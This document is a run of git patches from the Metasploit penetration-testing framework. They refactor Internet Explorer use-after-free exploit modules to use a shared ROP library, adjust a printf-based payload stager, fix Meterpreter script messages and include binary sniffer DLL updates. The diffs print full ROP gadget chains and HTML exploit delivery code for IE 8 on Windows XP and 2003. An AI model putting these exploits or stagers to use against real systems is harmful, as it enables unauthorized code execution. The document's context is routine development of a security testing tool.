.../windows/browser/ie_cgenericelement_uaf.rb | 72 +++---------------- 1 file changed, 9 insertions(+), 63 deletions(-) diff --git a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb index a8b01641fd..1f89fe8ae0 100644 --- a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb +++ b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb @@ -117,77 +117,23 @@ class Metasploit3 < Msf::Exploit::Remote def get_payload(t, cli) rop_payload = '' + # Extra junk in the end to make sure post code execution is stable. + p = payload.encoded + p << rand_text_alpha(12000) + case t['Rop'] when :msvcrt - algin = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 - chain = '' - + align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + rop_payload = '' if t.name == 'IE 8 on Windows XP SP3' - chain = - [ - 0x77c1e844, # POP EBP # RETN [msvcrt.dll] - 0x77c1e844, # skip 4 bytes [msvcrt.dll] - 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] - 0xffffffff, - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] - 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] - 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] - 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] - 0x77c3048a, # POP EDI # RETN [msvcrt.dll] - 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] - 0x77c46efb, # POP ESI # RETN [msvcrt.dll] - 0x77c2aacc, # JMP [EAX] [msvcrt.dll] - 0x77c3b860, # POP EAX # RETN [msvcrt.dll] - 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] - 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] - 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] - ].pack("V*") - + rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'xp'}) elsif t.name == 'IE 8 on Windows Server 2003' - junk = rand_text_alpha(4).unpack("V")[0].to_i - nop = make_nops(4).unpack("V")[0].to_i - - chain = - [ - 0x77bb2563, # POP EAX # RETN - 0x77ba1114, # <- *&VirtualProtect() - 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN - junk, - 0x77bb0c86, # XCHG EAX,ESI # RETN - 0x77bc9801, # POP EBP # RETN - 0x77be2265, # ptr to 'push esp # ret' - 0x77bb2563, # POP EAX # RETN - 0x03C0990F, - 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) - 0x77bb48d3, # POP EBX, RET - 0x77bf21e0, # .data - 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN - 0x77bbfc02, # POP ECX # RETN - 0x77bef001, # W pointer (lpOldProtect) (-> ecx) - 0x77bd8c04, # POP EDI # RETN - 0x77bd8c05, # ROP NOP (-> edi) - 0x77bb2563, # POP EAX # RETN - 0x03c0984f, - 0x77bdd441, # SUB EAX, 03c0940f - 0x77bb8285, # XCHG EAX,EDX # RETN - 0x77bb2563, # POP EAX # RETN - nop, - 0x77be6591 # PUSHAD # ADD AL,0EF # RETN - ].pack("V*") + rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'2003'}) end - rop_payload = chain + algin + payload.encoded - else code = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 - code << payload.encoded - code << rand_text_alpha(12000) + code << p rop_payload = generate_rop_payload('java', code) end From 7222e3ca492f296282065b62195fa3c5a26307e5 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 7 Oct 2013 15:09:36 -0500 Subject: [PATCH 145/210] Use RopDb for ms13_055_canchor. All targets tested. --- .../windows/browser/ms13_055_canchor.rb | 89 +++---------------- 1 file changed, 14 insertions(+), 75 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb index 55b6843d11..1368a81c43 100644 --- a/modules/exploits/windows/browser/ms13_055_canchor.rb +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, @@ -109,85 +110,25 @@ class Metasploit3 < Msf::Exploit::Remote nil end - def get_payload(t, cli) - rop = '' - code = payload.encoded - esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 - - case t['Rop'] - when :msvcrt - # Stack adjustment # add esp, -3500 - esp_align = "\x81\xc4\x54\xf2\xff\xff" - + def get_payload(t) + if t['Rop'] == :msvcrt print_status("Using msvcrt ROP") - rop = - [ - 0x77c1e844, # POP EBP # RETN [msvcrt.dll] - 0x77c1e844, # skip 4 bytes [msvcrt.dll] - 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] - 0xffffffff, - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] - 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] - 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] - 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] - 0x77c3048a, # POP EDI # RETN [msvcrt.dll] - 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] - 0x77c46efb, # POP ESI # RETN [msvcrt.dll] - 0x77c2aacc, # JMP [EAX] [msvcrt.dll] - 0x77c3b860, # POP EAX # RETN [msvcrt.dll] - 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] - 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] - 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] - ].pack("V*") + esp_align = "\x81\xc4\x54\xf2\xff\xff" + rop_dll = 'msvcrt' + opts = {'target'=>'xp'} else print_status("Using JRE ROP") - rop = - [ - 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN - 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) - 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] - 0x7c3415a2, # JMP [EAX] [msvcr71.dll] - 0xffffffff, - 0x7c376402, # skip 4 bytes [msvcr71.dll] - 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] - 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] - 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] - 0x7c344f87, # POP EDX # RETN [msvcr71.dll] - 0xffffffc0, # Value to negate, will become 0x00000040 - 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] - 0x7c34d201, # POP ECX # RETN [msvcr71.dll] - 0x7c38b001, # &Writable location [msvcr71.dll] - 0x7c347f97, # POP EAX # RETN [msvcr71.dll] - 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] - 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] - 0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll] - # rop chain generated with mona.py - ].pack("V*") + esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 + rop_dll = 'java' + opts = {} end - rop_payload = rop - rop_payload << esp_align - rop_payload << code - rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt - - rop_payload - end - - def junk - rand_text_alpha(4).unpack("V")[0].to_i - end - - def nop - make_nops(4).unpack("V")[0].to_i + p = esp_align + payload.encoded + rand_text_alpha(12000) + generate_rop_payload(rop_dll, p, opts) end def get_html(t, p) + junk = rand_text_alpha(4).unpack("V")[0].to_i js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*")) js_payload = Rex::Text.to_unescape(p) js_align = Rex::Text.to_unescape([t['Align']].pack("V*")) @@ -195,7 +136,7 @@ class Metasploit3 < Msf::Exploit::Remote q_id = Rex::Text.rand_text_alpha(1) - html = %Q| + %Q| <!DOCTYPE html> <HTML XMLNS:t ="urn:schemas-microsoft-com:time"> <head> @@ -244,8 +185,6 @@ class Metasploit3 < Msf::Exploit::Remote <t:ANIMATECOLOR id="myanim"/> </html> | - - html end def on_request_uri(cli, request) @@ -253,7 +192,7 @@ class Metasploit3 < Msf::Exploit::Remote t = get_target(agent) if t - p = get_payload(t, cli) + p = get_payload(t) html = get_html(t, p) print_status("Sending exploit...") send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) From f4000d35ba4829ef821f19789d1b07a58c99d034 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 7 Oct 2013 15:24:01 -0500 Subject: [PATCH 146/210] Use RopDb for ms13_069 Target tested --- .../windows/browser/ms13_069_caret.rb | 32 ++----------------- 1 file changed, 3 insertions(+), 29 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_069_caret.rb b/modules/exploits/windows/browser/ms13_069_caret.rb index d8c6d5ac1f..da93c1889a 100644 --- a/modules/exploits/windows/browser/ms13_069_caret.rb +++ b/modules/exploits/windows/browser/ms13_069_caret.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, @@ -106,32 +107,6 @@ class Metasploit3 < Msf::Exploit::Remote def get_payload(t) - rop = - [ - 0x77c1e844, # POP EBP # RETN [msvcrt.dll] - 0x77c1e844, # skip 4 bytes [msvcrt.dll] - 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] - 0xffffffff, - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] - 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] - 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] - 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] - 0x77c3048a, # POP EDI # RETN [msvcrt.dll] - 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] - 0x77c46efb, # POP ESI # RETN [msvcrt.dll] - 0x77c2aacc, # JMP [EAX] [msvcrt.dll] - 0x77c3b860, # POP EAX # RETN [msvcrt.dll] - 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] - 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] - 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] - ].pack("V*") - # This data should appear at the beginning of the target address (see TargetAddr in metadata) p = '' p << rand_text_alpha(225) # Padding to avoid null byte addr @@ -139,10 +114,9 @@ class Metasploit3 < Msf::Exploit::Remote p << [t['Align']].pack("V*") * ( (0x2c-4)/4 ) # 0x2c bytes to pivot (-4 for TargetAddr) p << [t['Pivot']].pack("V*") # Stack pivot p << rand_text_alpha(4) # Padding for the add esp,0x2c alignment - p << rop # ROP chain - p << payload.encoded # Actual payload + p << generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'}) - return p + p end From 6f7d513f6edab482fee03a9a0efe4ccc9ce80926 Mon Sep 17 00:00:00 2001 From: Markus Wulftange <markus.wulftange@gmail.com> Date: Tue, 8 Oct 2013 07:22:09 +0200 Subject: [PATCH 147/210] Another clean up and simplification of CmdStagerPrintf --- lib/rex/exploitation/cmdstager/printf.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/rex/exploitation/cmdstager/printf.rb b/lib/rex/exploitation/cmdstager/printf.rb index 0a61ed0117..dba24d0fbe 100755 --- a/lib/rex/exploitation/cmdstager/printf.rb +++ b/lib/rex/exploitation/cmdstager/printf.rb @@ -33,11 +33,11 @@ class CmdStagerPrintf < CmdStagerBase def generate_cmds(opts) @cmd_start = "printf '" @cmd_end = "'>>#{@tempdir}#{@var_elf}" - xtra_len = @cmd_start.length + @cmd_end.length + 1 + xtra_len = @cmd_start.length + @cmd_end.length opts.merge!({ :extra => xtra_len }) - if opts[:extra]+4 > opts[:linemax] - raise RuntimeError, "Not enough space for command - #{opts[:extra]+4} byte required, #{opts[:linemax]} byte available" + if (opts[:linemax] - opts[:extra]) < 4 + raise RuntimeError, "Not enough space for command - #{opts[:extra] + 4} byte required, #{opts[:linemax]} byte available" end super @@ -62,9 +62,9 @@ class CmdStagerPrintf < CmdStagerBase while (encoded_dup.length > 0) temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len)) - # remove the last octal escape if it may be imcomplete - pos = temp.rindex('\\') - if encoded_dup.length > temp.length and pos > temp.length-4 + # remove the last octal escape if it is imcomplete + if encoded_dup.length > temp.length and encoded_dup[temp.length] != '\\' + pos = temp.rindex('\\') temp.slice!(pos..temp.length-1) end From db92709d334d96f9f050e0de42d0bd303de6e722 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Tue, 8 Oct 2013 10:17:08 -0500 Subject: [PATCH 148/210] Remove extra bracket --- scripts/meterpreter/vnc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/meterpreter/vnc.rb b/scripts/meterpreter/vnc.rb index b0b47cadcb..bda180d16f 100644 --- a/scripts/meterpreter/vnc.rb +++ b/scripts/meterpreter/vnc.rb @@ -95,7 +95,7 @@ if (tunnel) pay.datastore['LPORT'] = rport pay.datastore['VNCPORT'] = vport else - print_status("Creating a VNC reverse tcp stager: LHOST=#{rhost} LPORT=#{rport})") + print_status("Creating a VNC reverse tcp stager: LHOST=#{rhost} LPORT=#{rport}") payload = "windows/vncinject/reverse_tcp" pay = client.framework.payloads.create(payload) From 7d0cf73af72e3d7eb834509e0e96225041ec28ed Mon Sep 17 00:00:00 2001 From: David Maloney <DMaloney@rapid7.com> Date: Tue, 8 Oct 2013 11:11:38 -0500 Subject: [PATCH 149/210] Fix multi-meter_inject error msg Was trying to coerce the exception class to string rather than calling .message Results in a stacktrace. FIXRM #8460 --- modules/post/windows/manage/multi_meterpreter_inject.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/manage/multi_meterpreter_inject.rb b/modules/post/windows/manage/multi_meterpreter_inject.rb index 8ed4615e59..5becb6027a 100644 --- a/modules/post/windows/manage/multi_meterpreter_inject.rb +++ b/modules/post/windows/manage/multi_meterpreter_inject.rb @@ -92,7 +92,7 @@ class Metasploit3 < Msf::Post print_good("Successfully injected Meterpreter in to process: #{target_pid}") rescue::Exception => e print_error("Failed to Inject Payload to #{target_pid}!") - print_error(e) + print_error(e.message) end end From 72a35d14f156fe452bcf2da12ed567919c534b20 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Tue, 8 Oct 2013 11:49:42 -0500 Subject: [PATCH 150/210] Mark broken tests as pending These tests are broken a few different ways. [SeeRM #8463] also see: https://github.com/rapid7/metasploit-framework/pull/2477 --- spec/lib/msf/util/exe_spec.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/spec/lib/msf/util/exe_spec.rb b/spec/lib/msf/util/exe_spec.rb index 5c7a4f7038..ace44a1564 100644 --- a/spec/lib/msf/util/exe_spec.rb +++ b/spec/lib/msf/util/exe_spec.rb @@ -12,6 +12,8 @@ describe Msf::Util::EXE do described_class end + before { pending "Pending RM#8463, fix all these these tests up." } + $framework = Msf::Simple::Framework.create( :module_types => [ Msf::MODULE_NOP ], 'DisableDatabase' => true From 199bd20b95cd5ac76ca8e9f33446dc83010edab0 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Tue, 8 Oct 2013 13:00:03 -0500 Subject: [PATCH 151/210] Update CVE-2013-3893's Microsoft reference Official patch is out: http://technet.microsoft.com/en-us/security/bulletin/MS13-080 --- modules/exploits/windows/browser/ie_setmousecapture_uaf.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index 520c8d0067..9c120cb883 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -49,6 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2013-3893' ], [ 'OSVDB', '97380' ], + [ 'MSB', 'MS13-080' ], [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2887505' ], [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/09/17/cve-2013-3893-fix-it-workaround-available.aspx' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/09/30/metasploit-releases-cve-2013-3893-ie-setmousecapture-use-after-free' ] From e895a17722744a1076843c5a81509b1145f5749b Mon Sep 17 00:00:00 2001 From: Markus Wulftange <markus.wulftange@gmail.com> Date: Tue, 8 Oct 2013 21:04:28 +0200 Subject: [PATCH 152/210] Add 'no quotes' option for CmdStagerPrintf Exploit developers can use the ':noquotes => true' option to avoid single quotes surrounding the octal escapes argument. --- lib/rex/exploitation/cmdstager/printf.rb | 22 ++++++++++++++++------ 1 file changed, 16 insertions(+), 6 deletions(-) diff --git a/lib/rex/exploitation/cmdstager/printf.rb b/lib/rex/exploitation/cmdstager/printf.rb index dba24d0fbe..f0bbe60275 100755 --- a/lib/rex/exploitation/cmdstager/printf.rb +++ b/lib/rex/exploitation/cmdstager/printf.rb @@ -31,13 +31,22 @@ class CmdStagerPrintf < CmdStagerBase # Override to set the extra byte count # def generate_cmds(opts) - @cmd_start = "printf '" - @cmd_end = "'>>#{@tempdir}#{@var_elf}" + if opts[:noquotes] + @cmd_start = "printf " + @cmd_end = ">>#{@tempdir}#{@var_elf}" + @prefix = '\\\\' + min_part_size = 5 + else + @cmd_start = "printf '" + @cmd_end = "'>>#{@tempdir}#{@var_elf}" + @prefix = '\\' + min_part_size = 4 + end xtra_len = @cmd_start.length + @cmd_end.length opts.merge!({ :extra => xtra_len }) - if (opts[:linemax] - opts[:extra]) < 4 - raise RuntimeError, "Not enough space for command - #{opts[:extra] + 4} byte required, #{opts[:linemax]} byte available" + if (opts[:linemax] - opts[:extra]) < min_part_size + raise RuntimeError, "Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available" end super @@ -47,7 +56,7 @@ class CmdStagerPrintf < CmdStagerBase # Encode into a "\12\345" octal format that printf understands # def encode_payload(opts) - return Rex::Text.to_octal(@exe, "\\") + return Rex::Text.to_octal(@exe, @prefix) end # @@ -63,8 +72,9 @@ class CmdStagerPrintf < CmdStagerBase temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len)) # remove the last octal escape if it is imcomplete - if encoded_dup.length > temp.length and encoded_dup[temp.length] != '\\' + if encoded_dup.length > temp.length and encoded_dup[temp.length, @prefix.length] != @prefix pos = temp.rindex('\\') + pos -= 1 if temp[pos-1] == '\\' temp.slice!(pos..temp.length-1) end From 0a194b203d67221c6cf5aefd990d57d432a3215e Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Wed, 9 Oct 2013 07:38:54 +1000 Subject: [PATCH 153/210] Updated sniffer binaries These updated binaries include a packet-sniffer fix which results in sniffing working on x86 builds of Windows 8 and Windows 8.1. --- data/meterpreter/ext_server_sniffer.x64.dll | Bin 432128 -> 432640 bytes data/meterpreter/ext_server_sniffer.x86.dll | Bin 432128 -> 432128 bytes 2 files changed, 0 insertions(+), 0 deletions(-) diff --git a/data/meterpreter/ext_server_sniffer.x64.dll b/data/meterpreter/ext_server_sniffer.x64.dll index 87f05c0df6d9bfd7c0122083e77167c5951746d0..498e6649e03013764984673de6c2716d70b2f99b 100755 GIT binary patch delta 49522 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 